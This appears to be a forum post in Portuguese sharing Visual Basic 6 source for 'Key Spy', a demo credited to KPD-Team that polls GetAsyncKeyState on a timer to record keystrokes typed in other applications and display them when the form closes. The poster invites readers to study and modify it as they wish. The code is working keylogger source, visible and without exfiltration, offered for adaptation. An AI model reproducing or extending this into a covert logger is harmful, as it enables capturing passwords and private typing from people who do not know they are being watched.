Estude isso e modifique conforme sua vontade

As instancias dependem de como vc vai usar

'If the function succeeds, the return value is an integer identifying the new timer. An 'application can pass this value, or the string identifier, if it exists, to the KillTimer 'function to destroy the timer. If the function fails to create a timer, the return value 'is zero.

'In a module

Public Const DT_CENTER = &H1

Public Const DT_WORDBREAK = &H10

Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long

Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long

Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long

Global Cnt As Long, sSave As String, sOld As String, Ret As String

Dim Tel As Long

Function GetPressedKey() As String

For Cnt = 32 To 128

'Get the keystate of a specified key

If GetAsyncKeyState(Cnt) <> 0 Then

GetPressedKey = Chr$(Cnt)

Exit For

End If

Next Cnt

End Function

Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)

Ret = GetPressedKey

If Ret <> sOld Then

sOld = Ret

sSave = sSave + sOld

End If

End Sub

'In a form

Private Sub Form_Load()

'KPD-Team 1999

'URL: http://www.allapi.net/

'E-Mail: KPDTeam@Allapi.net

Me.Caption = "Key Spy"

'Create an API-timer

SetTimer Me.hwnd, 0, 1, AddressOf TimerProc

End Sub

Private Sub Form_Paint()

Dim R As RECT

Const mStr = "Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown."

'Clear the form

Me.Cls

'API uses pixels

Me.ScaleMode = vbPixels

'Set the rectangle's values

SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight

'Draw the text on the form

DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&

End Sub

Private Sub Form_Resize()

Form_Paint

End Sub

Private Sub Form_Unload(Cancel As Integer)

'Kill our API-timer

KillTimer Me.hwnd, 0

'Show all the typed keys

MsgBox sSave

End Sub